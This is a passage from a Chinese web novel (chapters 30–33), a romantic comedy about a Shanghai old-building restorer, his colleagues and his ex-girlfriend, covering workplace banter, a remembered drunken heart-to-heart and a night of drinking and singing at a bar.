“谁准你给我起外号了?还有,就是长皱纹你也要付主要责任,噗~到时候等着收律师函吧!” 话到一半,顾南乔自己都笑了。 喂,你可是律师啊,律师函这样用逼格是不是太低了? “陆师傅,工作的时候能不能别打岔。”杨灵说。 我?我还话都没回呢! 既然中立派的杨灵下场拉偏架了,就且放爱发律师函的顾乔乔一马吧。 讲实话,跟律师打嘴仗有种莫名的成就感~ 对杨灵点点头,准备找找老洋房西边回廊的水磨石配比,看能不能一次性调兑出来。 “喂,”顾南乔路过陆砚身边说:“给你们庆祝正式复工,明天晚上我请客。” “...” “...” 秋风萧瑟,秋雨寂寥,此间男女,神色仓惶。 额—— 好好好,全赶明晚去了是吧? 陆砚看着杨灵,杨灵也看向陆砚,一副‘夫唱妇随、万事由你我放心’的表情。 “顾乔乔,工作时间别打岔!” 顾南乔:“???” 第三十章 坦白局 “灵灵,我最后给你一次机会,你说不说!” 顾南乔怒了,比小学那年将满腔真心错付给一个转校生还要愤怒! 你姐妹我啊,这几天怕影响你的心情,事事自己兜着不跟你讲。 结果倒好,你小囡跟那小子真开始在区区三人群里面结党营私啦?! 不是,根据排列组合,那是不是我还得跟他也搞个私下交流,到时候看看你是不是和我一样愤怒! “乔乔~”杨灵弱弱回应着,眼神却是看向陆砚。 这眼神,谁扛得住? 别说美人计还没用上,光是扛到这步就值了! “那个,是这样的。”陆砚必须得接话呀,不然他亲爱的好朋友事后肯定要算账,“要不还是我来请吧。” “哟哟哟,陆师傅钱包不鼓口气倒是不小啊,你是那种为了和我抢单还故意瞒着不说的人吗!” 嗯?还在人身羞辱,她还在羞辱我! 你怕是没见过MVP结算画面的我吧? 我土木......呸,我古建手艺人什么时候才能站起来! “哈哈,吃饭不在贵贱主要是个心意,我是想着明晚来我家大伙一起吃个饭。”他说。 “那灵灵刚才不肯开口,是因为你要给大伙一个惊喜?”顾南乔一脸狐疑地问。 “对啊对啊,顾乔乔你不愧是当律师的,机智!” 杨灵默默别过脸,一副无语模样。 “好一个冠冕堂皇之词!你还见到台阶就下了!” 顾南乔撸起袖子踩着高跟鞋走近前来,明明比陆砚低小半个头却气势冒盛得不行: “侬当我是三岁小姑娘好骗啊,介点事体灵灵哪能瞒牢我勿讲啦?好唻,侬拉关系好了就拿我汰出去了,迭个群,我还是自家退脱算唻!(这话太假,这三人群我还是退了吧)” 一面说着决绝可怜的台词,一面趾高气昂仿佛审判犯人,说得就是这个泼辣的上海宁! “陆砚!” 杨灵向他瞪眼,又胳膊肘往内拐了。 还能怎么样呢? 道歉、赔罪、请吃饭呗,反正多双筷子的事。 尽管他也不知道自己错哪了。 ...... “陆师傅,忙完了吗?” 旁边吃瓜的苏棠看两人走了,掐着点开口,语气多少有点幽怨在内。 小姑娘性子不要太急,做我们这行的要耐得住寂寞——他本想这么说。 当然,这种玩笑目前只适用于熟人,要是不小心被苏棠误以为师门风气不正那多冤枉啊? 谁当年不是一个认认真真做事的帅小伙呢! “苏棠啊,”陆砚决定一如杨老头当年展开谆谆教导时,余光正好瞧见出来的张野,“你看你张哥虽然大不了你几岁,但在这个行业的履历却超过大部分同行,所以你悟了吗?” 不知道你能不能开悟,但师傅我啊,正在现编呢! “入行要趁早?” 张野亦是好奇闻声而来,自己也加入了‘关于张野资深履历下的秘密’的讨论。 “因为我能等?” 你说得对! “对!这个‘等’字最是难堪破。”陆砚一拍手,一脸正经:“禅等一个热烈的夏天,人等一个扶摇而上的提携,这些悬而未决的蛰伏、无疑凝练了我们这个行业的最高智慧!” “陆哥,我觉得这些年我一直优秀而不自知。” “张哥谦逊,所以大伙都乐意跟你处啊。” 两人抱拳,而间隙中苏棠抽搐的嘴角可以忽视。 “陆师傅是在跟杨老师谈恋爱吗?” “说起这古建修复,还得先从这建筑的‘皮肤’说起,”陆砚斜眼瞟向他处,准备继续跟她论道论道早上没说完的话题,“小师妹,你先从理论上讲讲老洋房的外墙修复。” 苏棠没有接着问隐私,立马回答,“以这栋老洋房为例,主要用的是青砖‘清水墙’为主,所以外墙补砖要注意选用‘同年代同窑口’,我们最好以此为切入点先分析墙砖来历......” “为什么不能用水泥修复?” “会加速砖体风化。” “思南路那栋西班牙风格老洋房你晓得不?用‘微创注浆法’时选的是哪种材料?” “这我怎么知道!我还没毕业啊!” “哼,”陆砚得意一笑,“小师妹还要再沉淀沉淀。” ...... “陆哥,”张野蹲一旁点上烟,身子蜷在房檐的阴影里,“明天叔叔那边我就不去了。” “咋的了?张哥。” 两人刚刚检查完一楼木构件含水率,所幸没有上潮。 “那啥......杨督察不是也要过去嘛,我一个上桌就可着劲喝酒的大老粗...” 陆砚明白了,又没完全明白。 之前他们和顾南乔在酒馆不是喝得挺好的嘛?怎么遇到杨灵还害羞了呢? “明天是有别的安排了还是怎么地?” “害,我哪有那么多应酬哟,”他吐了口烟笑笑说:“我刚才的意思是,你和杨督察不是第一次见叔叔嘛,旁人去得多、人家要不乐意了。” “...” 这......陆砚何曾想到张野会替他考虑那么多...... 倒不是小瞧或贬低,张野初中辍学、十六岁从云南大山里出来打工,学校老师不教、爹妈不管,他又怎么预料得到他的心思如此敏感? “总之恭喜了,陆哥,你简直活成我梦中的样子了。” 看不清他的眼睛,陆砚感觉心里有点堵。 “张野,昨晚喝假酒了?还是雨天使人忧郁?平白无故想这么多干铞?我可刚说了你心静、守得住、能深耕,结果你下一秒就要破功,这不是打哥们的脸嘛?担心人苏棠看见你一回笑你一回......” 谁能眼睁睁看着自己哥们低沉呢? 印象里,张野就是喝再多酒也没现在反常。 犹记得当年他还是个朝不保夕的混不吝,酒桌上踩着成件啤酒、喝了吐、吐了喝,死不服输、大放厥词的时候也是意气风发的,还不时念叨几句网络上抄来的话术: ‘我要这天,再遮不住我的眼,要这地,再埋不了我心’之类的,只是那会普通话说得不好,引得一阵欢笑。 “曹,刚才像鬼上身了一样,我自己都奇怪!”他起身揉了把脸,走出房檐阴影,一扫颓态。 所以他真的没问题了吗?当然不是。 揭穿对方脆弱的坚强吗?当然不行。 但陆砚也没办法视而不见,小兄弟出社会出得早,以后思想走偏了那今天不得悔死。 于是问道:“张哥,近期有没有什么目标打算之类的?等老洋房和之前的项目结算以后你最少也要手十几个呢。” “哈哈,款到当天肯定得先摆一桌,然后小月、小美、不吃香菜轮着来......” 斜风细雨慢慢涂抹初秋的老洋房,瓦楞沙沙承接着捶打,一晃好多年。 陆砚在阶前看雨,主要是看雨,次要在想刚才的问题: 今后有什么打算? 一直以来他都有意回避着某些事情,对外则是是醉心工作的形象。 诚然,也确实爱自己的工作。 可欧洲人也不能餐餐吃黄油,有机会他们也另作他选。 陆砚没得选。 起先渴望一份事业,遇到杨启文,拜入名师门下事业一番顺遂。 事业途中偶遇爱情,邂逅林晚声,对方的浪漫性格滋补了灵魂。 但偏偏事业和爱情交汇节点、最渴望一个家的时候对方抽身离开,连带补完的魂被扯得稀巴烂。 此后,他时常感觉心脏漏风,那缺失的部分陪着林晚声全国颠沛流离了一整年,还没有物归原位。 那部分是最纯粹的灵魂结晶,有少年渴望、青年理想和暮年的寄托。 最纯粹的他,相信爱能跨越一切的沉沦、向永恒开战。 可爱人啊! 曾经陆砚在无数个孤单的夜里呼喊: 杀了我卑微的灵魂吧! 我变得不像我,那个男人开始相信物质大过感觉、他开始在利益场逐渐妥协...... 他甚至开始,冷眼玩弄一个人的真心! 西侧回廊保持沉默的他,和雨夜洋房前巧言令色的他竟是同一个灵魂! 也许有一天生活会揭开我虚伪的面具,阳光将腐蚀我的肌肤。 而他们不知道的是, 我依旧渴望做一个好人,依旧渴望着! 所以...我最亲爱的爱人啊—— 杀了我送给你的灵魂...... 让我再度,纯粹吧! 第三十一章 阴雨天 “你是说,他胡乱说了一通醉话,你还当真了?!”顾南乔低压的嗓音里翻涌着闷雷,“杨博士,你是这个意思吗?” 杨灵避开顾南乔的视线,思绪又被拉到送陆砚去酒店的那个夜晚。 ...... “今天谢、了。” 酒店大厅暖黄的灯光打在地面,倒映着两人靠得有些近的影子,她有些迟疑、在心里判断送他上去的危险系数。 “谢我让你错过终场?把你送到我就先走了,牛奶记得喝。” 此刻杨灵还不知道接下来的半个小时会是两人此后关系的转折点,所以说起离开便从内而外、真一副想走的模样。 “杨博士,你说为什么人和人之间要搞得那么复杂,大家简简单单地相爱,然后爱下去不好吗......你知不知道,我以前最大的梦想就是做一个从一而终的男人,找一个从一而终的女人结婚,我发誓我会用所有的爱来呵护她......我发誓!” “陆师傅,既然如此的话,就不该让你的前女友误会我们的关系。” 杨灵冷冷搭话,眼神嫌弃,但还是伸手去扶陆砚的腰。 “你不懂,爱一个人就是希望对方幸福。” “可是你们已经分手了。” “难道分手了就不能爱了吗?” “...” “...” “那你就这样远远地爱着她,然后孤独到老?” 杨灵无法理解,这根本不符合博弈论中理性分析的结果。 她也不信,眼前的男人真能高尚到像他说的那样,为爱奉献。 “谁说我要孤独到老了?我要找个女朋友,然后过得比她更幸福!” “......你不是说你要做一个从一而终的男人吗?” “所以当我找到那个从一而终的女人以后,我会比任何一个人都要爱她,她就是我人生的救赎。” 逻辑不堪一击的诡辩! 翻了个白眼,表情生动几分,“把情感和人生全部交托给另一个人不是负责任的行为。” 如此沉重的包袱竟想扔给另一个人...... 这举动甚至更接近小孩子过家家,在真实世界怎么可能行得通? “我不用对自己负责,我只对那个人负责就行了。” 杨灵按下电梯按钮,也不知道陆砚究竟醉了还是没醉。 工作以外都是顺着她好言好语,偏偏此刻这么爱犟嘴,自己跟他计较又显得小家子气。 无奈...... 马上到了,还是帮人帮到底吧。 正好,她对当事人酒醉——吐露真心话情况下——谈论这个话题挺感兴趣的: “可是这不矛盾吗?明明对自己都没有尽职尽责......” “用最大能力去爱一个人有错吗?杨小姐......假如两个人是这样的、爱着彼此,我、我倒觉得这样才是最大的负责。” “你只是假设了这样一个人,你爱的是你的幻想。” 这句话需要转几个弯才能理解。 而杨灵正是一个善于用绝对清醒的理智,去压制那些不该有的情感的人。 “额——我不否认。” 陆砚打了个酒嗝,吓得杨灵差点松开手,好在没有要吐的迹象。 电梯门缓缓打开,她撑着他往204号房间走。 意外的,对这个紧紧靠在一起的男人没有排斥,倒显得两人似是盛大逃亡下的同伴。 “你呢?你愿意,做一个从一而终的人吗?” “我不清楚......”她想了一下,轻快地说,“但是从一而终听起来很不错。” “当你们在一起后,你会全身心地去爱对方吗?” “......会吧。” “你看,你连喜欢的人都没有,你就扬言要全身心地爱他,这不和我一样嘛......” 你还在谈刚才的事?脑子这么清晰我看你走不动路就是装的! 杨灵咬着嘴唇,盯着他看:“这不一样!” “为什么不一样?” 陆砚低头看她,似乎准备安心听完回答再走。 她的脑袋蹭着他的下巴,肩膀抵着肩膀,俩人的呼吸顺着接触关联在一起。 这感觉很古怪。 “为什么不一样?”他又问了一遍。 大概是知道对方意识大概率不清楚的原因,杨灵索性大胆脱口而出: “因为我非常重视这件事情。” “难道我就不重视?” “比你想象中的还要重视,我......我是真的,对此怀有期待。” 她有点难为情,要是平时根本说不出口。 “这么巧啊,杨小姐,跟我想的一样诶。” “才不是,你的第一段都已经失败了!” “...” “抱歉,我不是故意的。” “没事,希望你引以为戒,祝你以后一次成功。” “谢谢。” “...” 打开房门,看到他另一只手里紧紧攥着瓶牛奶,杨灵嘴角翘了下。 帮着把牛奶放床头柜上的时候,鬼使神差看了一眼陆砚。 ......看了好几眼。 很帅。 他歪着头,好像睡得不舒服。 索性当看了他的报酬,用他的工装外套折成枕头...... 又随即一想这样似乎多此一举了吧? 把‘衣服枕头’放在一边,调好空调温度就该离开了。 可折叠衣服好似触动了做手工的开关,一心想折点什么留下来,搜了半天只是商场买完衣服的小票。 对折,对折,然后斜着折? 凭模糊的记忆折出个歪歪扭扭的千纸鹤,她找回了些小时候的快乐。 嗯,睡觉不打呼,挺好。 杨灵最后凑近看了一眼陆砚,靠近,再近,离得越近竟是越悸动,心跳‘一二一’地蹦着。 酒后吐真言,他说的都是真的吗? 会一心一意地爱一个人,会对那个人负责到底。 已经失败过一次的他,下次真的会像歌词唱的那样,一句承诺,一生执着吗? 应该是不行的。 据乔乔说,男人酒后特爱说大话,并且内容几乎不可信。 看着他的脸,任由时间忽快忽慢走动,杨灵感觉自己心跳开始失衡,越跳越快。 那个遥远的愿景像有魔力一样蛊惑着她、吸引着她。 理智在警报,‘快停下来’;但内心却清晰明白,她心动了。 男人描述的画面对她这样经历的人来说是致命的。 更何况父亲曾说过,人间最好的那个人不是等来的,而是修来的。 只要两人有决心,肯为之努力...... 她开始分析陆砚的品性,似乎在上段感情中他并没有做过对不起女方的事,工作上也专心认真...... 虽然有些时候比较古板守旧,但这种品质要是放在感情上就非常加分...... 杨灵扳着手指细数陆砚的种种,直到心里声音坚定地说: 这个人还不错! ...... “乔乔,我也不知道我是怎么了,就是......很喜欢和他在一起。” “你糊涂啊,你没有感情经验不懂,男女之间只要关系近了都会产生吸引! 再说了陆砚那混蛋还是个帅哥...... 总之,你们压根就没经历过什么,那些情绪都不能当真的!” 见她有些迷茫,顾南乔又说:“姐是过来人,你得听我的,男人都是当着你的面说得一好二好,其实他自己都不知道他有没有准备好,就拿我那个前男友来说......” “那是什么时候的事?” “哎呀你别管,总之你要多理性分析,不要见人就扑上去。女孩子要矜持,矜持懂吗?” “乔乔,我觉得我是喜欢他的,他靠近的时候我一点都不反感。” “你这就是思春了,一会我去帮你买几个玩具,你试....” 杨灵瞪了她一眼,示意打闹结束了,顾南乔后续的话只好吞进肚里。 绵绵雨丝,像纷扰的心绪。 那边,陆砚一个人在台前发呆,别说还挺有气质的...... 怎么看都像个渣男! “灵灵,你不觉得这几天你变化也太大了吗,”顾南乔罕见严肃起来时真有几分长姐威严,“我不反对你开始恋情,但是你千万要记住,做决定之前要先‘等’,好事多磨,知道吗?” 对此,杨灵亦是郑重点头,十分认可闺蜜的观点。 其实她明白,他们,目前远谈不上爱情。 ...... “喂,砚哥,明天吃饭我就不去了啊,你都不知道结个婚有多麻烦......” “不是哥们,你是故意来嘚瑟的吧?”陆砚从暗沉中抽离,笑骂回应。 “害,骗你我孙子,拍照片、选衣服事一大堆,日子还有四五天我们请柬都没定好,林晚声那么爱凑热闹一人现在还在酒店睡觉......你看看这是怎么个事?” 上次陆砚把现女友带过来见面以后,‘前女友’便不再是他们之间的禁忌了,陈禹是这么认为的。 “那确实该忙,一辈子一次的事情女方再挑也得陪着呀......不是,你这是在点我‘没给你帮忙’吧?” 陆砚听到林晚声的名字反应慢了一拍,后知后觉才发现陈禹话术中的刻意对比。 好家伙,哥们真心体谅你,你跟哥们玩家伙! 那就别怪哥们除行动以外全力支持你了。 “我以为你又忙成木头脑袋了,原来还知道啊?你以为我为什么打这个电话?” 电话里陈禹也不演了,大倒苦水、大声谴责、严厉呵斥某人不够仗义的行为,直到陆砚答应过几天帮忙布置婚礼现场才哼哼唧唧挂断电话。 唉,事多得眼花缭乱。 明天老洋房恢复动工,然后接老陆,家里一伙人吃饭,在之后陈禹婚前帮忙和彩排......似乎还有什么给忘了。 不搞个记事本还真容易丢三落四。 要不假借工作锻炼的由头让实习生来给我当助理? 我呸!哪里冒出来的职场油腻风气。 内心的阴暗果然在潮湿天气就格外滋养,这阴雨天真真麻烦透了! 第三十二章 偶遇 “所以,明天来不成就硬在今天凑一桌?” ‘破吉他’小酒馆,陈禹、陆砚和老板阿乐三人凑在角落,桌子上摆了两排奶啤、半瓶伏特加和两盒卤菜。 因为精酿桶送去清洗了,索性今天关门一天。 生活经验告诉我们: 某个爱喝酒的人得了闲,一个酒局就成了大半。 “哥们,管他今天明天的,生平就这么点爱好还要选时间?”陈禹提了一杯,砸吧嘴说:“全是骗小女生喝的玩意,阿乐你真地道,拿这招待兄弟。” “你以为是给你拿的我就笑了,野猪吃不来细糠。旁边有洋酒你不会自己去吧台兑点东西喝?” “阿乐有心了,知道心疼哥们。”陆砚听着嘴巴一咧,抬手也提了一杯下肚。 嗯,确实淡,像水一样。 阿乐不想回话,一喷二实在心累。 顿了顿,又说:“......我上次不是说在找驻场吗?” “嗯,找怎样了?” 陈禹正在尝试伏特加兑奶啤的全新喝法,杯子里捣鼓一阵后似是颇有心得,信心满满递给陆砚。 “一会人家过来面试。” ‘破吉他’听名字本就带点文青味,其经营上面则体现在酸臭的情怀上。 例如花里胡哨的鸡尾酒命名,角落处放几本诗集、伪装成客人遗留之物等等。 但是最有代表性的还是‘周三盲盒演出夜’,不限表演形式、不限表现内容,集思广益自由发挥。 而这周三的事宜,阿乐准备交由日常驻唱负责。 陆砚一口下肚,入口感觉还不错,刚要竖起大拇指立马眉头一挑,“我不知道啊,沟槽的陈禹喊我晚上唱歌我就来了。” “没人说你碍事,你特么拿我逗乐子呢!”他笑骂道,心下却在嘀咕。 也是好久没见陆砚这么好心情了,怎么地,是想通走出来了还是另有发展? 关键是,沟槽的陈禹电话里说过来帮忙考察面试...... 酒费老板出啊! 此时,陈禹按照刚才的配方又给自己兑了一杯伏特加奶啤,一口下肚又酸又涩的辛辣直冲喉咙。 这一刻他知道,伏特加放多了。 “玛德,你这人!”来不及把话说完,猛咳两声又说:“兑成这鸟味你点什么头啊!” 他以为,此时的情景就像某人吃了一个酸酸的橘子,然后面带微笑的安利下去、以图产生更多受害者。 实则,陆砚真觉得还行。 酒这么难喝的东西,谁还追求口感? 你吃‘华莱士’的时候会想着肠胃健康吗? “咳咳,人到了我去接一下。” 阿乐起身离开,将战场交给俩位年近28的老哥哥们。 陆砚最看不得皱巴张脸喝酒的男人了,于是叼着根鸭翅用鼓励式的口吻说: “喊,大声喊出来,喝的就是解压。” 结婚的男人,有点婚前恐惧是常见现象,虽不能至但依然理解。 “砚哥,你怎么知道我有压力?颜朵跟你说的?还是晚声?” “都不是,”他神秘一笑,“人在最接近幸福的时候倍感幸福,在拥有幸福的时候又患得患失,你处于两者的叠加态,我看得一清二楚。” ......个屁! 年纪上来以后,平时都要别人劝酒才肯喝,今天却主动端杯子,这还不够明显吗? “唉,哥们你听我说......” 完了,醉拳起手式,要被硬控啦! 就当陈禹提到颜朵将他第三版请柬打回重做那档子事的时候,阿乐也领着人进来了。 “哟,我还以为你们在门口面试呢,去这么半天。” 陆砚赶紧从陈禹的‘看似絮叨婚前琐事实则变相秀恩爱’中抽离出来,定眼一瞧,人傻了。 阿乐身边穿白裙子的女人他认识,苏棠嘛,穿搭一如当年的林晚声。 再就是......苏棠后面穿白体恤牛仔裤的女人,林晚声嘛,一如当年的林晚声。 “哟,陆砚你也在呢。” 说话的是藏最后面的颜朵。 她像清扫下水道老鼠的猫一样用‘戏谑’的眼神打量他。 也是女人中少数不给陆砚‘好颜色’看的角色一枚。 “哟,颜朵你也在呢。” 这次说话的是陈禹,夫妻俩主打一个视而不见,一个上赶着打招呼,竟然形成了融洽的互补。 “哟,陈禹你也在呢。”林晚声接话了。 “...” “...” 所有目光,向陆砚看齐,好像这一会儿他们四个又回到了一年前,那是段值得怀念的日子。 那么,根据成语接龙原则: “哟,林晚声,我们又见面了。” 现在你回来了,找到当初想要的生活了吗? 陆砚连心尖都在颤动,这是上次、见她第一面时想说而未说出口的话。 如今,借着玩闹的氛围也只说出来了前半段...... 却引得几人不快! “我去!注意队形啊!” “你会不会接龙啊!” 夫妻俩同时开口棒喝,如同陆砚是个十分不解风情的低情商男人因为自己的低情商毁了一出精彩大合唱。 不用一一看过去就晓得,男女老少正兴致盎然,等着他的解释。 呵,真男人从不解释。 不过就算再来一次,他也这么说! “陆师傅,我呢?” 苏棠突然坚定开口,眼中有颜朵刚出场时同款‘看戏’的笑。 水珠沿着杯壁缓缓下流,然后到达某处地方,猛地滑落。 四双眼睛在两人身上来回打量,有迟疑、有好奇,汇聚成一种情绪的话,那就是猹味! “哟,苏棠你也在呢。” 这波陆砚皮笑肉不笑,先开口应下来。 “是啊,我也没想到早中晚都能碰见你呢。”苏棠甜甜一笑。 这笑容是那么陌生,因为这是陆砚第一次见到。 这笑容是那么拱火,因为...... 没有那么多因为,茶味都漫出来了! 第一次在街边遇到她唱歌,那会也是敏锐捕捉他的情绪,然后唱了首应景的歌。 陈奕迅的《好久不见》嘛,本来那歌挺抒心中情绪的,没曾想到最关键的时候她唱劈了,等再一抬眼时候...... 陆砚发现她在笑! 这种笑,就像陆砚故意骗陈禹喝那杯沟槽的威士忌奶啤一样、恶劣的笑! 她在逗我玩——这是陆砚当时的想法——亦是此时的想法。 林晚声似乎是帮忙解围,好奇道:“陆师傅喝酒没把女朋友带出来?” 陆砚身体一僵。 好嘞,这下完成绝杀了。 女朋友?偏偏场上苏棠知道他和杨灵的关系! “人陈禹还马上有老婆呢,不一样自己跑出来了,男人心思是海底沙你们不要妄自揣测啊。” 话外音是对着苏棠说的,希望职场小新人灵性一点吧! 对此,她只是偏过头无辜眨眨眼。 “行了哥几个,既然大伙都认识,就坐一块喝喝酒唱唱歌,”阿乐·他的好兄弟·真解场:“来面试的小姑娘你也别紧张,只要基本过得去,有这关系在,应聘也就成了。” 苏棠甜甜回应,跟着阿乐去唱台那边准备今晚的面试。 林晚声懂设备,也过去帮忙。 于是桌上就剩下陆砚、颜朵和沟槽的陈禹。 “是不是你小子喊的人!”陆砚箍着陈禹的肩膀在耳边小声蛐蛐。 “颜朵查岗,我能不说吗?”陈禹则是一副贱兮兮的表情回道。 他有持无恐,陆砚也看出来他有持无恐,陈禹亦是知道陆砚看出来了他有持无恐...... 心里博弈×n。 “别勾搭我男人呀,陈禹,你这是婚前恐惧导致的性取向转移?” 俩人赶紧松开,一脸晦气擦了擦手。 “颜姐,今晚怎么有空出来喝酒的,不是婚前事忙嘛~” 颜朵是大陆砚一届的学姐,当时找陆砚要微信结果他给了陈禹的。 事到如今,反正成里外不是人的是他,跑不掉了。 “哪有您忙啊,古建老师傅一边忙工作还能一边抽空和人小姑娘早中晚见面呢,我结个婚而已才哪到哪。” 咦? 今天也没喝几杯,怎么就汗流浃背了呢? 奇怪。 “我这......” “喂喂?嗡——” 刺耳的话筒底噪肃清场下的声音,唱台灯亮起,周边也就暗了下去。 三人起身来到台前做特邀观众兼大众评审。 “咳,我先清唱一首袁泉的《暗恋》吧,这是我的舒适音区。” 颜朵诧异往唱台上看去,一身白裙的苏棠、以及台下白体恤的林晚声,仿佛岁月的并蒂果实立在那。 这选曲.....也太巧了吧? 霎时间,陆砚回到了那个灯火昏黄、却上座率奇高的小酒馆,第一次遇见那个穿白裙拿着吉他的小姑娘在人群簇拥下唱响歌词: “好像漫长的梦/越在时间的海洋/咫尺天涯相似长/人各在一方/秋千随风摆荡/话还在我耳旁/一朝醒来发苍苍/心事却依然/许我向你看/每夜梦里我总是向你看/在这滚滚红尘心再乱/一转头向你就人间天堂。” 空灵、纯净的嗓音结合灵逸的气息转换,呈现了一曲饱满而张力的演唱。 第三十三章 凑热闹的朋友们 苏棠一口气唱了三首跨度很大的歌,走的r&b或者抒情路线。 老实讲,这不是破吉他酒馆中受众最多的类型,耐不住人小姑娘年轻漂亮,仅凭这一点就够顾客下几杯酒了。 “走,喝酒去。” 所以,今天这场酒还多了个伟光正的名义——欢迎新人入职! “哎乐哥,咱也别挪窝了就在这喝,趁现在没人待会哥们上去献唱一曲。”陈禹提议道。 陆砚也是赞同的,正好上次错过了林晚声表演,今天权当补上。 再说,平时她都和乐队捆绑一块,这类单独登台的机会也越来越少了。 不是吗? 至少,贝斯手兼私人厨师那哥们不在,今晚独享solo也算聊以自慰了。 “陆师傅!” 是苏棠,不知什么时候猫到他后面。 “从聚光灯转换到黑暗中这么丝滑?” “你‘怎么没把女朋友带来’啊?” 她把先前林晚声问的又提了一遍,双手背后,好奇宝宝模样。 陆砚吃不准她究竟是调侃还是随口问...... 这时候就别侥幸了陆砚! 人家一下台专门点着这句,难道还不明显吗? “师傅的事你小朋友别管。”陆砚强硬挺胸,全力梭哈师道尊严,妄图重新掌握话语权。 “噢——,那小朋友的事,我也就不跟叔叔你说啦?” 呵,不说就...... ...... “不,说,你快说。” 他卡在众人搬东西的间隙对自己的实习生展开一系列严厉拷打,只因她说了句其实也没有太喜欢‘暗恋’这首歌。 不喜欢你干嘛唱?这个选曲是不是有人帮你选的?那她是什么意思? 侥幸的心再次噗通起跳,陆砚死死盯着苏棠闭合的嘴唇,仿佛那里是五百万彩票出口。 “不、说,我唱累了,口渴。” 苏棠一袭白裙俏生生地站在那,给人一种温婉可人的感觉,特别是笑起来脸颊会泛起甜甜的酒窝。 所以女人,不可只看表面。 万一人家玩的就是反差呢! “你——” “你可真会摸鱼,陆砚!” 颜朵拧着椅子和酒瓶在身后拖曳,特别是看到陆砚和那个白裙子小姑娘裹在一起、就气不打一处来。 “颜姐受累,您放这后面交给我。” 好嘛,不知道的还以为您这是脆弱得怀上了。 “不用你事后殷勤,”颜朵一掌拍掉接过椅子的手,“晚声买夜宵了,这么多东西你出去帮她拧点。” 说着,大眼睛一瞪,似在说‘你还是不是个男人’? 陆砚心道,你男人是个男人不就得了,操其他男人的心作甚? 只归想想罢了。 面对这个姐姐他总是底气不足,在她顺利和自己的好室友兼半熟兄弟在一起后便这样。 别说和林晚声、对方的好闺蜜分手,在她面前更是矮了一头。 无他,兄弟老婆和忘不掉的前女友的闺蜜,buff叠满了谁都要暂避锋芒。 于是推开歇山顶手绘图门帘走进十点半钟的夜色里。 灰扑扑的世界中,面朝他站着一位白体恤牛仔裤女孩,灯打在后背仿佛散发光芒。 “晚......”他下意识想像从前那样喊‘晚声’,又觉得不妥; 喊‘林晚声’又觉得不习惯、刻意。 搜肠刮肚一阵,竟不知道怎么称呼眼前这个女人,曾经的全世界。 悲哀不经意间撞到心坎,这次比看见她和武恺一起下车时来得更浓烈,几近浓郁得有实感。 原来,他从未考虑过,两人之间落得生分的场景。 没有想过,有朝一日除了‘晚声’还会以其他生分的名字去喊她。 从来没有。 “你还是喊我晚声吧。” 他感到舌尖泛苦,同时苦涩的味道里又沁出一丝甜。 夜风袭人,吹得女孩身影萧瑟,同时又好像吹走了彼此的距离和隔阂。 是阵适合倾诉的晚风。 时钟反方向回转,有什么东西还坚守原地,让人觉得,只要靠近、就能温暖。 “我......” 正要开口时,一个阳光下头发铺开如绸缎、古典而书卷气的女人在脑中晃过。 “颜朵说你要去买夜宵......” 背光,看不清林晚声的表情,直到她再次开口。 “我太久没待在上海了,这一块不熟。” 她说,声音像被阳光晒过的棉布,底色温暖。 耳膜和心脏还记得,正是这个声音,鼓舞他在最容易碰壁的岁月昂扬向前。 “听说你最近帮颜朵挑婚纱,累得吃饭都不想出酒店?” 只是都过去了,‘小酒馆’和‘破吉他’,两者终归不能混为一谈。 他们并肩走在行道上,偶有迎面来的路人将两人位置逼近,陆砚的心神也随两者间的距离一会紧一会更紧。 “是现在的酒店服务太好,不体验总觉得吃亏了似的。” “这听上去肯定让颜姐挑不出刺。” 林晚声轻轻笑着,话匣子打开,向他提起婚礼筹备中的事,没有大事,全是怪事、乐事、平常事,偏偏陆砚就是津津有味。 如果条件允许,这些细小的每件事,只要由她说出来,便可下一杯酒。 灯将二人的影子拉扯、拉长,直至光的边缘。 “陆砚你知道吗,颜颜穿婚纱可好看了,到时候你肯定要看呆在那。” 从前她总是逼他看文学作品,一块聊《呼啸山庄》、探求飘忽在天边的精神世界。 现在她聊起当时觉得‘俗不可耐’的婚姻,态度竟一百八十度反转。 “然后陈禹那小子就会在这时抛下他的妻子向我奔来,给我一个飞踹?”他努力将话往轻松那块带。 “哈哈,这可是你编排的,算自恋还是自虐?” “叮——” 唯有杨灵的消息才会唤起特殊提示音,没去看。 “老板多拿点鸭爪,”陆砚侧过头说,“算我还他一脚。” “老板鸭爪多少钱一个?” “5块。” “这年头当鸭子也不挣钱嘛,陆砚。”她也侧头,眼睛微瞌,像只神秘的猫。 “额......所以......这不我还没下场入行嘛。” 返程,一路无话。 ...... @adeline:陆先生,今晚在做什么?(小兔子打招呼.jpg) 破吉他店内,距离唱台最近一个桌,桌上堆叠着酒水和买来的夜宵,四周空气充斥着被嗓音污浊过的振幅、频率。 陆砚盯着微信,看到洗完澡躺床上的杨灵对着手机划拉十来秒敲出这行字,又花十来秒选好表情包,附上花儿绽放般的心情,才点击发送、终于在他手机上呈现这条平平无奇的问候消息。 于是念头短暂的抱怨顿时消了。 他怎么会生杨灵的气呢。 手指敲下‘在外面喝酒’。 不行,还是加上陈禹的名字免得她多想。 ‘和陈禹他们在喝酒。’ ......等等,这是不是有意隐瞒了?况且明天苏棠撞见杨灵了兴许会露馅! 要不一会让她封口? 想到这他自己都笑了,甚至凭陆砚邪恶的揣测,可以脑补出苏棠一脸坏笑对着说‘你也不想这个秘密被杨老师知道吧?’借此要挟。 墨斗先生:和陈禹他们喝酒,你猜猜正巧遇到了谁? 如果她不猜,就不说了。 @adeline:(小兔子微笑.jpg) 额...... 表情包,有时候,确实有妙用。 模棱两可怎么破? 究竟要不要告诉她林晚声也在的事实? 尽管两人没有明确心意,尽管他和林晚声清清白白...... 而且那天也说了,两人只是‘朋友’,就此装糊涂似乎对外也说得过去? 除了,面的自己的时候问心有愧。 墨斗先生:撞见苏棠来破吉他面试了,还有林晚声和颜朵。 发完消息,长舒一口气。 又一次,战胜了自己的阴暗面。 “砚哥,唱不唱?” 那边灯光明亮,台上嗨歌三首的陈禹终于想起现场互动一茬,当即点名让陆砚上台。 这上台往往是有一定讲究和说法的。 懂行的都知道,场子热不热、时机对不对,很关键。 一桌子熟人,热。 音痴刚垫完音,时机对。 天时地利具备,那就上! ...... “阳光彩虹小白马/滴滴答滴滴答!” “一起来!” “我是内内个内内/内内内内内内/内内个内内/内内内内内内......” 笑话,踩着自家兄弟人前显圣嘛?都这个年纪了谁还在乎你一两首歌唱什么样? 锋芒要收收啦! 陆砚和陈禹碰了一个,喝私酒的行为顿时引来阿乐不满,于是三人又炫了一个。 “嘶哈~” 